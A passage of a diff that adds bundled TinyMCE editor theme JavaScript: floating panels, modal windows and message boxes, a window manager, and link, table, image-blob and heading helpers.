+          if (isChildOf(clickCtrl, panel) || panel.parent() === clickCtrl) {
+            continue;
+          }
+        }
+        e = panel.fire('autohide', { target: e.target });
+        if (!e.isDefaultPrevented()) {
+          panel.hide();
+        }
+      }
+    }
+  }
+  function bindDocumentClickHandler() {
+    if (!documentClickHandler) {
+      documentClickHandler = function (e) {
+        if (e.button === 2) {
+          return;
+        }
+        skipOrHidePanels(e);
+      };
+      global$7(document).on('click touchstart', documentClickHandler);
+    }
+  }
+  function bindDocumentScrollHandler() {
+    if (!documentScrollHandler) {
+      documentScrollHandler = function () {
+        var i;
+        i = visiblePanels.length;
+        while (i--) {
+          repositionPanel$1(visiblePanels[i]);
+        }
+      };
+      global$7(window).on('scroll', documentScrollHandler);
+    }
+  }
+  function bindWindowResizeHandler() {
+    if (!windowResizeHandler) {
+      var docElm_1 = document.documentElement;
+      var clientWidth_1 = docElm_1.clientWidth, clientHeight_1 = docElm_1.clientHeight;
+      windowResizeHandler = function () {
+        if (!document.all || clientWidth_1 !== docElm_1.clientWidth || clientHeight_1 !== docElm_1.clientHeight) {
+          clientWidth_1 = docElm_1.clientWidth;
+          clientHeight_1 = docElm_1.clientHeight;
+          FloatPanel.hideAll();
+        }
+      };
+      global$7(window).on('resize', windowResizeHandler);
+    }
+  }
+  function repositionPanel$1(panel) {
+    var scrollY$$1 = funcs.getViewPort().y;
+    function toggleFixedChildPanels(fixed, deltaY) {
+      var parent$$1;
+      for (var i = 0; i < visiblePanels.length; i++) {
+        if (visiblePanels[i] !== panel) {
+          parent$$1 = visiblePanels[i].parent();
+          while (parent$$1 && (parent$$1 = parent$$1.parent())) {
+            if (parent$$1 === panel) {
+              visiblePanels[i].fixed(fixed).moveBy(0, deltaY).repaint();
+            }
+          }
+        }
+      }
+    }
+    if (panel.settings.autofix) {
+      if (!panel.state.get('fixed')) {
+        panel._autoFixY = panel.layoutRect().y;
+        if (panel._autoFixY < scrollY$$1) {
+          panel.fixed(true).layoutRect({ y: 0 }).repaint();
+          toggleFixedChildPanels(true, scrollY$$1 - panel._autoFixY);
+        }
+      } else {
+        if (panel._autoFixY > scrollY$$1) {
+          panel.fixed(false).layoutRect({ y: panel._autoFixY }).repaint();
+          toggleFixedChildPanels(false, panel._autoFixY - scrollY$$1);
+        }
+      }
+    }
+  }
+  function addRemove(add, ctrl) {
+    var i, zIndex = FloatPanel.zIndex || 65535, topModal;
+    if (add) {
+      zOrder.push(ctrl);
+    } else {
+      i = zOrder.length;
+      while (i--) {
+        if (zOrder[i] === ctrl) {
+          zOrder.splice(i, 1);
+        }
+      }
+    }
+    if (zOrder.length) {
+      for (i = 0; i < zOrder.length; i++) {
+        if (zOrder[i].modal) {
+          zIndex++;
+          topModal = zOrder[i];
+        }
+        zOrder[i].getEl().style.zIndex = zIndex;
+        zOrder[i].zIndex = zIndex;
+        zIndex++;
+      }
+    }
+    var modalBlockEl = global$7('#' + ctrl.classPrefix + 'modal-block', ctrl.getContainerElm())[0];
+    if (topModal) {
+      global$7(modalBlockEl).css('z-index', topModal.zIndex - 1);
+    } else if (modalBlockEl) {
+      modalBlockEl.parentNode.removeChild(modalBlockEl);
+      hasModal = false;
+    }
+    FloatPanel.currentZIndex = zIndex;
+  }
+  var FloatPanel = Panel.extend({
+    Mixins: [
+      $_8zu82i18yjjgwek2l,
+      $_20hy1119bjjgwek4f
+    ],
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      self$$1._eventsRoot = self$$1;
+      self$$1.classes.add('floatpanel');
+      if (settings.autohide) {
+        bindDocumentClickHandler();
+        bindWindowResizeHandler();
+        visiblePanels.push(self$$1);
+      }
+      if (settings.autofix) {
+        bindDocumentScrollHandler();
+        self$$1.on('move', function () {
+          repositionPanel$1(this);
+        });
+      }
+      self$$1.on('postrender show', function (e) {
+        if (e.control === self$$1) {
+          var $modalBlockEl_1;
+          var prefix_1 = self$$1.classPrefix;
+          if (self$$1.modal && !hasModal) {
+            $modalBlockEl_1 = global$7('#' + prefix_1 + 'modal-block', self$$1.getContainerElm());
+            if (!$modalBlockEl_1[0]) {
+              $modalBlockEl_1 = global$7('<div id="' + prefix_1 + 'modal-block" class="' + prefix_1 + 'reset ' + prefix_1 + 'fade"></div>').appendTo(self$$1.getContainerElm());
+            }
+            global$3.setTimeout(function () {
+              $modalBlockEl_1.addClass(prefix_1 + 'in');
+              global$7(self$$1.getEl()).addClass(prefix_1 + 'in');
+            });
+            hasModal = true;
+          }
+          addRemove(true, self$$1);
+        }
+      });
+      self$$1.on('show', function () {
+        self$$1.parents().each(function (ctrl) {
+          if (ctrl.state.get('fixed')) {
+            self$$1.fixed(true);
+            return false;
+          }
+        });
+      });
+      if (settings.popover) {
+        self$$1._preBodyHtml = '<div class="' + self$$1.classPrefix + 'arrow"></div>';
+        self$$1.classes.add('popover').add('bottom').add(self$$1.isRtl() ? 'end' : 'start');
+      }
+      self$$1.aria('label', settings.ariaLabel);
+      self$$1.aria('labelledby', self$$1._id);
+      self$$1.aria('describedby', self$$1.describedBy || self$$1._id + '-none');
+    },
+    fixed: function (state) {
+      var self$$1 = this;
+      if (self$$1.state.get('fixed') !== state) {
+        if (self$$1.state.get('rendered')) {
+          var viewport = funcs.getViewPort();
+          if (state) {
+            self$$1.layoutRect().y -= viewport.y;
+          } else {
+            self$$1.layoutRect().y += viewport.y;
+          }
+        }
+        self$$1.classes.toggle('fixed', state);
+        self$$1.state.set('fixed', state);
+      }
+      return self$$1;
+    },
+    show: function () {
+      var self$$1 = this;
+      var i;
+      var state = self$$1._super();
+      i = visiblePanels.length;
+      while (i--) {
+        if (visiblePanels[i] === self$$1) {
+          break;
+        }
+      }
+      if (i === -1) {
+        visiblePanels.push(self$$1);
+      }
+      return state;
+    },
+    hide: function () {
+      removeVisiblePanel(this);
+      addRemove(false, this);
+      return this._super();
+    },
+    hideAll: function () {
+      FloatPanel.hideAll();
+    },
+    close: function () {
+      var self$$1 = this;
+      if (!self$$1.fire('close').isDefaultPrevented()) {
+        self$$1.remove();
+        addRemove(false, self$$1);
+      }
+      return self$$1;
+    },
+    remove: function () {
+      removeVisiblePanel(this);
+      this._super();
+    },
+    postRender: function () {
+      var self$$1 = this;
+      if (self$$1.settings.bodyRole) {
+        this.getEl('body').setAttribute('role', self$$1.settings.bodyRole);
+      }
+      return self$$1._super();
+    }
+  });
+  FloatPanel.hideAll = function () {
+    var i = visiblePanels.length;
+    while (i--) {
+      var panel = visiblePanels[i];
+      if (panel && panel.settings.autohide) {
+        panel.hide();
+        visiblePanels.splice(i, 1);
+      }
+    }
+  };
+  function removeVisiblePanel(panel) {
+    var i;
+    i = visiblePanels.length;
+    while (i--) {
+      if (visiblePanels[i] === panel) {
+        visiblePanels.splice(i, 1);
+      }
+    }
+    i = zOrder.length;
+    while (i--) {
+      if (zOrder[i] === panel) {
+        zOrder.splice(i, 1);
+      }
+    }
+  }
+
+  var windows = [];
+  var oldMetaValue = '';
+  function toggleFullScreenState(state) {
+    var noScaleMetaValue = 'width=device-width,initial-scale=1.0,user-scalable=0,minimum-scale=1.0,maximum-scale=1.0';
+    var viewport = global$7('meta[name=viewport]')[0], contentValue;
+    if (global$1.overrideViewPort === false) {
+      return;
+    }
+    if (!viewport) {
+      viewport = document.createElement('meta');
+      viewport.setAttribute('name', 'viewport');
+      document.getElementsByTagName('head')[0].appendChild(viewport);
+    }
+    contentValue = viewport.getAttribute('content');
+    if (contentValue && typeof oldMetaValue !== 'undefined') {
+      oldMetaValue = contentValue;
+    }
+    viewport.setAttribute('content', state ? noScaleMetaValue : oldMetaValue);
+  }
+  function toggleBodyFullScreenClasses(classPrefix, state) {
+    if (checkFullscreenWindows() && state === false) {
+      global$7([
+        document.documentElement,
+        document.body
+      ]).removeClass(classPrefix + 'fullscreen');
+    }
+  }
+  function checkFullscreenWindows() {
+    for (var i = 0; i < windows.length; i++) {
+      if (windows[i]._fullscreen) {
+        return true;
+      }
+    }
+    return false;
+  }
+  function handleWindowResize() {
+    if (!global$1.desktop) {
+      var lastSize_1 = {
+        w: window.innerWidth,
+        h: window.innerHeight
+      };
+      global$3.setInterval(function () {
+        var w = window.innerWidth, h = window.innerHeight;
+        if (lastSize_1.w !== w || lastSize_1.h !== h) {
+          lastSize_1 = {
+            w: w,
+            h: h
+          };
+          global$7(window).trigger('resize');
+        }
+      }, 100);
+    }
+    function reposition() {
+      var i;
+      var rect = funcs.getWindowSize();
+      var layoutRect;
+      for (i = 0; i < windows.length; i++) {
+        layoutRect = windows[i].layoutRect();
+        windows[i].moveTo(windows[i].settings.x || Math.max(0, rect.w / 2 - layoutRect.w / 2), windows[i].settings.y || Math.max(0, rect.h / 2 - layoutRect.h / 2));
+      }
+    }
+    global$7(window).on('resize', reposition);
+  }
+  var Window$$1 = FloatPanel.extend({
+    modal: true,
+    Defaults: {
+      border: 1,
+      layout: 'flex',
+      containerCls: 'panel',
+      role: 'dialog',
+      callbacks: {
+        submit: function () {
+          this.fire('submit', { data: this.toJSON() });
+        },
+        close: function () {
+          this.close();
+        }
+      }
+    },
+    init: function (settings) {
+      var self$$1 = this;
+      self$$1._super(settings);
+      if (self$$1.isRtl()) {
+        self$$1.classes.add('rtl');
+      }
+      self$$1.classes.add('window');
+      self$$1.bodyClasses.add('window-body');
+      self$$1.state.set('fixed', true);
+      if (settings.buttons) {
+        self$$1.statusbar = new Panel({
+          layout: 'flex',
+          border: '1 0 0 0',
+          spacing: 3,
+          padding: 10,
+          align: 'center',
+          pack: self$$1.isRtl() ? 'start' : 'end',
+          defaults: { type: 'button' },
+          items: settings.buttons
+        });
+        self$$1.statusbar.classes.add('foot');
+        self$$1.statusbar.parent(self$$1);
+      }
+      self$$1.on('click', function (e) {
+        var closeClass = self$$1.classPrefix + 'close';
+        if (funcs.hasClass(e.target, closeClass) || funcs.hasClass(e.target.parentNode, closeClass)) {
+          self$$1.close();
+        }
+      });
+      self$$1.on('cancel', function () {
+        self$$1.close();
+      });
+      self$$1.on('move', function (e) {
+        if (e.control === self$$1) {
+          FloatPanel.hideAll();
+        }
+      });
+      self$$1.aria('describedby', self$$1.describedBy || self$$1._id + '-none');
+      self$$1.aria('label', settings.title);
+      self$$1._fullscreen = false;
+    },
+    recalc: function () {
+      var self$$1 = this;
+      var statusbar$$1 = self$$1.statusbar;
+      var layoutRect, width, x, needsRecalc;
+      if (self$$1._fullscreen) {
+        self$$1.layoutRect(funcs.getWindowSize());
+        self$$1.layoutRect().contentH = self$$1.layoutRect().innerH;
+      }
+      self$$1._super();
+      layoutRect = self$$1.layoutRect();
+      if (self$$1.settings.title && !self$$1._fullscreen) {
+        width = layoutRect.headerW;
+        if (width > layoutRect.w) {
+          x = layoutRect.x - Math.max(0, width / 2);
+          self$$1.layoutRect({
+            w: width,
+            x: x
+          });
+          needsRecalc = true;
+        }
+      }
+      if (statusbar$$1) {
+        statusbar$$1.layoutRect({ w: self$$1.layoutRect().innerW }).recalc();
+        width = statusbar$$1.layoutRect().minW + layoutRect.deltaW;
+        if (width > layoutRect.w) {
+          x = layoutRect.x - Math.max(0, width - layoutRect.w);
+          self$$1.layoutRect({
+            w: width,
+            x: x
+          });
+          needsRecalc = true;
+        }
+      }
+      if (needsRecalc) {
+        self$$1.recalc();
+      }
+    },
+    initLayoutRect: function () {
+      var self$$1 = this;
+      var layoutRect = self$$1._super();
+      var deltaH = 0, headEl;
+      if (self$$1.settings.title && !self$$1._fullscreen) {
+        headEl = self$$1.getEl('head');
+        var size = funcs.getSize(headEl);
+        layoutRect.headerW = size.width;
+        layoutRect.headerH = size.height;
+        deltaH += layoutRect.headerH;
+      }
+      if (self$$1.statusbar) {
+        deltaH += self$$1.statusbar.layoutRect().h;
+      }
+      layoutRect.deltaH += deltaH;
+      layoutRect.minH += deltaH;
+      layoutRect.h += deltaH;
+      var rect = funcs.getWindowSize();
+      layoutRect.x = self$$1.settings.x || Math.max(0, rect.w / 2 - layoutRect.w / 2);
+      layoutRect.y = self$$1.settings.y || Math.max(0, rect.h / 2 - layoutRect.h / 2);
+      return layoutRect;
+    },
+    renderHtml: function () {
+      var self$$1 = this, layout = self$$1._layout, id = self$$1._id, prefix = self$$1.classPrefix;
+      var settings = self$$1.settings;
+      var headerHtml = '', footerHtml = '', html = settings.html;
+      self$$1.preRender();
+      layout.preRender(self$$1);
+      if (settings.title) {
+        headerHtml = '<div id="' + id + '-head" class="' + prefix + 'window-head">' + '<div id="' + id + '-title" class="' + prefix + 'title">' + self$$1.encode(settings.title) + '</div>' + '<div id="' + id + '-dragh" class="' + prefix + 'dragh"></div>' + '<button type="button" class="' + prefix + 'close" aria-hidden="true">' + '<i class="mce-ico mce-i-remove"></i>' + '</button>' + '</div>';
+      }
+      if (settings.url) {
+        html = '<iframe src="' + settings.url + '" tabindex="-1"></iframe>';
+      }
+      if (typeof html === 'undefined') {
+        html = layout.renderHtml(self$$1);
+      }
+      if (self$$1.statusbar) {
+        footerHtml = self$$1.statusbar.renderHtml();
+      }
+      return '<div id="' + id + '" class="' + self$$1.classes + '" hidefocus="1">' + '<div class="' + self$$1.classPrefix + 'reset" role="application">' + headerHtml + '<div id="' + id + '-body" class="' + self$$1.bodyClasses + '">' + html + '</div>' + footerHtml + '</div>' + '</div>';
+    },
+    fullscreen: function (state) {
+      var self$$1 = this;
+      var documentElement = document.documentElement;
+      var slowRendering;
+      var prefix = self$$1.classPrefix;
+      var layoutRect;
+      if (state !== self$$1._fullscreen) {
+        global$7(window).on('resize', function () {
+          var time;
+          if (self$$1._fullscreen) {
+            if (!slowRendering) {
+              time = new Date().getTime();
+              var rect = funcs.getWindowSize();
+              self$$1.moveTo(0, 0).resizeTo(rect.w, rect.h);
+              if (new Date().getTime() - time > 50) {
+                slowRendering = true;
+              }
+            } else {
+              if (!self$$1._timer) {
+                self$$1._timer = global$3.setTimeout(function () {
+                  var rect = funcs.getWindowSize();
+                  self$$1.moveTo(0, 0).resizeTo(rect.w, rect.h);
+                  self$$1._timer = 0;
+                }, 50);
+              }
+            }
+          }
+        });
+        layoutRect = self$$1.layoutRect();
+        self$$1._fullscreen = state;
+        if (!state) {
+          self$$1.borderBox = $_4kbuyt18pjjgwek1w.parseBox(self$$1.settings.border);
+          self$$1.getEl('head').style.display = '';
+          layoutRect.deltaH += layoutRect.headerH;
+          global$7([
+            documentElement,
+            document.body
+          ]).removeClass(prefix + 'fullscreen');
+          self$$1.classes.remove('fullscreen');
+          self$$1.moveTo(self$$1._initial.x, self$$1._initial.y).resizeTo(self$$1._initial.w, self$$1._initial.h);
+        } else {
+          self$$1._initial = {
+            x: layoutRect.x,
+            y: layoutRect.y,
+            w: layoutRect.w,
+            h: layoutRect.h
+          };
+          self$$1.borderBox = $_4kbuyt18pjjgwek1w.parseBox('0');
+          self$$1.getEl('head').style.display = 'none';
+          layoutRect.deltaH -= layoutRect.headerH + 2;
+          global$7([
+            documentElement,
+            document.body
+          ]).addClass(prefix + 'fullscreen');
+          self$$1.classes.add('fullscreen');
+          var rect = funcs.getWindowSize();
+          self$$1.moveTo(0, 0).resizeTo(rect.w, rect.h);
+        }
+      }
+      return self$$1.reflow();
+    },
+    postRender: function () {
+      var self$$1 = this;
+      var startPos;
+      setTimeout(function () {
+        self$$1.classes.add('in');
+        self$$1.fire('open');
+      }, 0);
+      self$$1._super();
+      if (self$$1.statusbar) {
+        self$$1.statusbar.postRender();
+      }
+      self$$1.focus();
+      this.dragHelper = new DragHelper(self$$1._id + '-dragh', {
+        start: function () {
+          startPos = {
+            x: self$$1.layoutRect().x,
+            y: self$$1.layoutRect().y
+          };
+        },
+        drag: function (e) {
+          self$$1.moveTo(startPos.x + e.deltaX, startPos.y + e.deltaY);
+        }
+      });
+      self$$1.on('submit', function (e) {
+        if (!e.isDefaultPrevented()) {
+          self$$1.close();
+        }
+      });
+      windows.push(self$$1);
+      toggleFullScreenState(true);
+    },
+    submit: function () {
+      return this.fire('submit', { data: this.toJSON() });
+    },
+    remove: function () {
+      var self$$1 = this;
+      var i;
+      self$$1.dragHelper.destroy();
+      self$$1._super();
+      if (self$$1.statusbar) {
+        this.statusbar.remove();
+      }
+      toggleBodyFullScreenClasses(self$$1.classPrefix, false);
+      i = windows.length;
+      while (i--) {
+        if (windows[i] === self$$1) {
+          windows.splice(i, 1);
+        }
+      }
+      toggleFullScreenState(windows.length > 0);
+    },
+    getContentWindow: function () {
+      var ifr = this.getEl().getElementsByTagName('iframe')[0];
+      return ifr ? ifr.contentWindow : null;
+    }
+  });
+  handleWindowResize();
+
+  var MessageBox = Window$$1.extend({
+    init: function (settings) {
+      settings = {
+        border: 1,
+        padding: 20,
+        layout: 'flex',
+        pack: 'center',
+        align: 'center',
+        containerCls: 'panel',
+        autoScroll: true,
+        buttons: {
+          type: 'button',
+          text: 'Ok',
+          action: 'ok'
+        },
+        items: {
+          type: 'label',
+          multiline: true,
+          maxWidth: 500,
+          maxHeight: 200
+        }
+      };
+      this._super(settings);
+    },
+    Statics: {
+      OK: 1,
+      OK_CANCEL: 2,
+      YES_NO: 3,
+      YES_NO_CANCEL: 4,
+      msgBox: function (settings) {
+        var buttons;
+        var callback = settings.callback || function () {
+        };
+        function createButton(text, status$$1, primary) {
+          return {
+            type: 'button',
+            text: text,
+            subtype: primary ? 'primary' : '',
+            onClick: function (e) {
+              e.control.parents()[1].close();
+              callback(status$$1);
+            }
+          };
+        }
+        switch (settings.buttons) {
+        case MessageBox.OK_CANCEL:
+          buttons = [
+            createButton('Ok', true, true),
+            createButton('Cancel', false)
+          ];
+          break;
+        case MessageBox.YES_NO:
+        case MessageBox.YES_NO_CANCEL:
+          buttons = [
+            createButton('Yes', 1, true),
+            createButton('No', 0)
+          ];
+          if (settings.buttons === MessageBox.YES_NO_CANCEL) {
+            buttons.push(createButton('Cancel', -1));
+          }
+          break;
+        default:
+          buttons = [createButton('Ok', true, true)];
+          break;
+        }
+        return new Window$$1({
+          padding: 20,
+          x: settings.x,
+          y: settings.y,
+          minWidth: 300,
+          minHeight: 100,
+          layout: 'flex',
+          pack: 'center',
+          align: 'center',
+          buttons: buttons,
+          title: settings.title,
+          role: 'alertdialog',
+          items: {
+            type: 'label',
+            multiline: true,
+            maxWidth: 500,
+            maxHeight: 200,
+            text: settings.text
+          },
+          onPostRender: function () {
+            this.aria('describedby', this.items()[0]._id);
+          },
+          onClose: settings.onClose,
+          onCancel: function () {
+            callback(false);
+          }
+        }).renderTo(document.body).reflow();
+      },
+      alert: function (settings, callback) {
+        if (typeof settings === 'string') {
+          settings = { text: settings };
+        }
+        settings.callback = callback;
+        return MessageBox.msgBox(settings);
+      },
+      confirm: function (settings, callback) {
+        if (typeof settings === 'string') {
+          settings = { text: settings };
+        }
+        settings.callback = callback;
+        settings.buttons = MessageBox.OK_CANCEL;
+        return MessageBox.msgBox(settings);
+      }
+    }
+  });
+
+  function WindowManagerImpl (editor) {
+    var open$$1 = function (args, params, closeCallback) {
+      var win;
+      args.title = args.title || ' ';
+      args.url = args.url || args.file;
+      if (args.url) {
+        args.width = parseInt(args.width || 320, 10);
+        args.height = parseInt(args.height || 240, 10);
+      }
+      if (args.body) {
+        args.items = {
+          defaults: args.defaults,
+          type: args.bodyType || 'form',
+          items: args.body,
+          data: args.data,
+          callbacks: args.commands
+        };
+      }
+      if (!args.url && !args.buttons) {
+        args.buttons = [
+          {
+            text: 'Ok',
+            subtype: 'primary',
+            onclick: function () {
+              win.find('form')[0].submit();
+            }
+          },
+          {
+            text: 'Cancel',
+            onclick: function () {
+              win.close();
+            }
+          }
+        ];
+      }
+      win = new Window$$1(args);
+      win.on('close', function () {
+        closeCallback(win);
+      });
+      if (args.data) {
+        win.on('postRender', function () {
+          this.find('*').each(function (ctrl) {
+            var name$$1 = ctrl.name();
+            if (name$$1 in args.data) {
+              ctrl.value(args.data[name$$1]);
+            }
+          });
+        });
+      }
+      win.features = args || {};
+      win.params = params || {};
+      win = win.renderTo(document.body).reflow();
+      return win;
+    };
+    var alert$$1 = function (message, choiceCallback, closeCallback) {
+      var win;
+      win = MessageBox.alert(message, function () {
+        choiceCallback();
+      });
+      win.on('close', function () {
+        closeCallback(win);
+      });
+      return win;
+    };
+    var confirm$$1 = function (message, choiceCallback, closeCallback) {
+      var win;
+      win = MessageBox.confirm(message, function (state) {
+        choiceCallback(state);
+      });
+      win.on('close', function () {
+        closeCallback(win);
+      });
+      return win;
+    };
+    var close$$1 = function (window$$1) {
+      window$$1.close();
+    };
+    var getParams = function (window$$1) {
+      return window$$1.params;
+    };
+    var setParams = function (window$$1, params) {
+      window$$1.params = params;
+    };
+    return {
+      open: open$$1,
+      alert: alert$$1,
+      confirm: confirm$$1,
+      close: close$$1,
+      getParams: getParams,
+      setParams: setParams
+    };
+  }
+
+  var get = function (editor, panel) {
+    var renderUI = function () {
+      return $_b0wxh217tjjgwejyx.renderUI(editor, panel);
+    };
+    return {
+      renderUI: renderUI,
+      getNotificationManagerImpl: function () {
+        return NotificationManagerImpl(editor);
+      },
+      getWindowManagerImpl: function () {
+        return WindowManagerImpl(editor);
+      }
+    };
+  };
+  var $_7y4x3k17sjjgwejyw = { get: get };
+
+  var Global = typeof window !== 'undefined' ? window : Function('return this;')();
+
+  var path = function (parts, scope) {
+    var o = scope !== undefined && scope !== null ? scope : Global;
+    for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i)
+      o = o[parts[i]];
+    return o;
+  };
+  var resolve = function (p, scope) {
+    var parts = p.split('.');
+    return path(parts, scope);
+  };
+
+  var unsafe = function (name, scope) {
+    return resolve(name, scope);
+  };
+  var getOrDie = function (name, scope) {
+    var actual = unsafe(name, scope);
+    if (actual === undefined || actual === null)
+      throw name + ' not available on this browser';
+    return actual;
+  };
+  var $_8wnjhx19gjjgwek54 = { getOrDie: getOrDie };
+
+  function FileReader () {
+    var f = $_8wnjhx19gjjgwek54.getOrDie('FileReader');
+    return new f();
+  }
+
+  var global$12 = tinymce.util.Tools.resolve('tinymce.util.Promise');
+
+  var blobToBase64 = function (blob) {
+    return new global$12(function (resolve) {
+      var reader = new FileReader();
+      reader.onloadend = function () {
+        resolve(reader.result.split(',')[1]);
+      };
+      reader.readAsDataURL(blob);
+    });
+  };
+  var $_c292419ejjgwek4z = { blobToBase64: blobToBase64 };
+
+  var pickFile = function () {
+    return new global$12(function (resolve) {
+      var fileInput;
+      fileInput = document.createElement('input');
+      fileInput.type = 'file';
+      fileInput.style.position = 'fixed';
+      fileInput.style.left = 0;
+      fileInput.style.top = 0;
+      fileInput.style.opacity = 0.001;
+      document.body.appendChild(fileInput);
+      fileInput.onchange = function (e) {
+        resolve(Array.prototype.slice.call(e.target.files));
+      };
+      fileInput.click();
+      fileInput.parentNode.removeChild(fileInput);
+    });
+  };
+  var $_edjfwb19kjjgwek5a = { pickFile: pickFile };
+
+  var count$1 = 0;
+  var seed = function () {
+    var rnd = function () {
+      return Math.round(Math.random() * 4294967295).toString(36);
+    };
+    return 's' + Date.now().toString(36) + rnd() + rnd() + rnd();
+  };
+  var uuid = function (prefix) {
+    return prefix + count$1++ + seed();
+  };
+  var $_49gxzf19mjjgwek5f = { uuid: uuid };
+
+  var create$1 = function (dom, rng) {
+    var bookmark = {};
+    function setupEndPoint(start) {
+      var offsetNode, container, offset;
+      container = rng[start ? 'startContainer' : 'endContainer'];
+      offset = rng[start ? 'startOffset' : 'endOffset'];
+      if (container.nodeType === 1) {
+        offsetNode = dom.create('span', { 'data-mce-type': 'bookmark' });
+        if (container.hasChildNodes()) {
+          offset = Math.min(offset, container.childNodes.length - 1);
+          if (start) {
+            container.insertBefore(offsetNode, container.childNodes[offset]);
+          } else {
+            dom.insertAfter(offsetNode, container.childNodes[offset]);
+          }
+        } else {
+          container.appendChild(offsetNode);
+        }
+        container = offsetNode;
+        offset = 0;
+      }
+      bookmark[start ? 'startContainer' : 'endContainer'] = container;
+      bookmark[start ? 'startOffset' : 'endOffset'] = offset;
+    }
+    setupEndPoint(true);
+    if (!rng.collapsed) {
+      setupEndPoint();
+    }
+    return bookmark;
+  };
+  var resolve$1 = function (dom, bookmark) {
+    function restoreEndPoint(start) {
+      var container, offset, node;
+      function nodeIndex(container) {
+        var node = container.parentNode.firstChild, idx = 0;
+        while (node) {
+          if (node === container) {
+            return idx;
+          }
+          if (node.nodeType !== 1 || node.getAttribute('data-mce-type') !== 'bookmark') {
+            idx++;
+          }
+          node = node.nextSibling;
+        }
+        return -1;
+      }
+      container = node = bookmark[start ? 'startContainer' : 'endContainer'];
+      offset = bookmark[start ? 'startOffset' : 'endOffset'];
+      if (!container) {
+        return;
+      }
+      if (container.nodeType === 1) {
+        offset = nodeIndex(container);
+        container = container.parentNode;
+        dom.remove(node);
+      }
+      bookmark[start ? 'startContainer' : 'endContainer'] = container;
+      bookmark[start ? 'startOffset' : 'endOffset'] = offset;
+    }
+    restoreEndPoint(true);
+    restoreEndPoint();
+    var rng = dom.createRng();
+    rng.setStart(bookmark.startContainer, bookmark.startOffset);
+    if (bookmark.endContainer) {
+      rng.setEnd(bookmark.endContainer, bookmark.endOffset);
+    }
+    return rng;
+  };
+  var $_3b24e19ojjgwek5i = {
+    create: create$1,
+    resolve: resolve$1
+  };
+
+  var global$13 = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker');
+
+  var global$14 = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils');
+
+  var getSelectedElements = function (rootElm, startNode, endNode) {
+    var walker, node;
+    var elms = [];
+    walker = new global$13(startNode, rootElm);
+    for (node = startNode; node; node = walker.next()) {
+      if (node.nodeType === 1) {
+        elms.push(node);
+      }
+      if (node === endNode) {
+        break;
+      }
+    }
+    return elms;
+  };
+  var unwrapElements = function (editor, elms) {
+    var bookmark, dom, selection;
+    dom = editor.dom;
+    selection = editor.selection;
+    bookmark = $_3b24e19ojjgwek5i.create(dom, selection.getRng());
+    global$4.each(elms, function (elm) {
+      editor.dom.remove(elm, true);
+    });
+    selection.setRng($_3b24e19ojjgwek5i.resolve(dom, bookmark));
+  };
+  var isLink = function (elm) {
+    return elm.nodeName === 'A' && elm.hasAttribute('href');
+  };
+  var getParentAnchorOrSelf = function (dom, elm) {
+    var anchorElm = dom.getParent(elm, isLink);
+    return anchorElm ? anchorElm : elm;
+  };
+  var getSelectedAnchors = function (editor) {
+    var startElm, endElm, rootElm, anchorElms, selection, dom, rng;
+    selection = editor.selection;
+    dom = editor.dom;
+    rng = selection.getRng();
+    startElm = getParentAnchorOrSelf(dom, global$14.getNode(rng.startContainer, rng.startOffset));
+    endElm = global$14.getNode(rng.endContainer, rng.endOffset);
+    rootElm = editor.getBody();
+    anchorElms = global$4.grep(getSelectedElements(rootElm, startElm, endElm), isLink);
+    return anchorElms;
+  };
+  var unlinkSelection = function (editor) {
+    unwrapElements(editor, getSelectedAnchors(editor));
+  };
+  var $_aunbnv19njjgwek5g = { unlinkSelection: unlinkSelection };
+
+  var createTableHtml = function (cols, rows) {
+    var x, y, html;
+    html = '<table data-mce-id="mce" style="width: 100%">';
+    html += '<tbody>';
+    for (y = 0; y < rows; y++) {
+      html += '<tr>';
+      for (x = 0; x < cols; x++) {
+        html += '<td><br></td>';
+      }
+      html += '</tr>';
+    }
+    html += '</tbody>';
+    html += '</table>';
+    return html;
+  };
+  var getInsertedElement = function (editor) {
+    var elms = editor.dom.select('*[data-mce-id]');
+    return elms[0];
+  };
+  var insertTableHtml = function (editor, cols, rows) {
+    editor.undoManager.transact(function () {
+      var tableElm, cellElm;
+      editor.insertContent(createTableHtml(cols, rows));
+      tableElm = getInsertedElement(editor);
+      tableElm.removeAttribute('data-mce-id');
+      cellElm = editor.dom.select('td,th', tableElm);
+      editor.selection.setCursorLocation(cellElm[0], 0);
+    });
+  };
+  var insertTable = function (editor, cols, rows) {
+    editor.plugins.table ? editor.plugins.table.insertTable(cols, rows) : insertTableHtml(editor, cols, rows);
+  };
+  var formatBlock = function (editor, formatName) {
+    editor.execCommand('FormatBlock', false, formatName);
+  };
+  var insertBlob = function (editor, base64, blob) {
+    var blobCache, blobInfo;
+    blobCache = editor.editorUpload.blobCache;
+    blobInfo = blobCache.create($_49gxzf19mjjgwek5f.uuid('mceu'), blob, base64);
+    blobCache.add(blobInfo);
+    editor.insertContent(editor.dom.createHTML('img', { src: blobInfo.blobUri() }));
+  };
+  var collapseSelectionToEnd = function (editor) {
+    editor.selection.collapse(false);
+  };
+  var unlink = function (editor) {
+    editor.focus();
+    $_aunbnv19njjgwek5g.unlinkSelection(editor);
+    collapseSelectionToEnd(editor);
+  };
+  var changeHref = function (editor, elm, url) {
+    editor.focus();
+    editor.dom.setAttrib(elm, 'href', url);
+    collapseSelectionToEnd(editor);
+  };
+  var insertLink = function (editor, url) {
+    editor.execCommand('mceInsertLink', false, { href: url });
+    collapseSelectionToEnd(editor);
+  };
+  var updateOrInsertLink = function (editor, url) {
+    var elm = editor.dom.getParent(editor.selection.getStart(), 'a[href]');
+    elm ? changeHref(editor, elm, url) : insertLink(editor, url);
+  };
+  var createLink = function (editor, url) {
+    url.trim().length === 0 ? unlink(editor) : updateOrInsertLink(editor, url);
+  };
+  var $_elxm3u19ljjgwek5d = {
+    insertTable: insertTable,
+    formatBlock: formatBlock,
+    insertBlob: insertBlob,
+    createLink: createLink,
+    unlink: unlink
+  };
+
+  var addHeaderButtons = function (editor) {
+    var formatBlock = function (name) {
+      return function () {
+        $_elxm3u19ljjgwek5d.formatBlock(editor, name);
+      };
+    };
+    for (var i = 1; i < 6; i++) {
+      var name = 'h' + i;
+      editor.addButton(name, {
+        text: name.toUpperCase(),
+        tooltip: 'Heading ' + i,
+        stateSelector: name,
+        onclick: formatBlock(name),
+        onPostRender: function () {
+          var span = this.getEl().firstChild.firstChild;
+          span.style.fontWeight = 'bold';
+        }
+      });
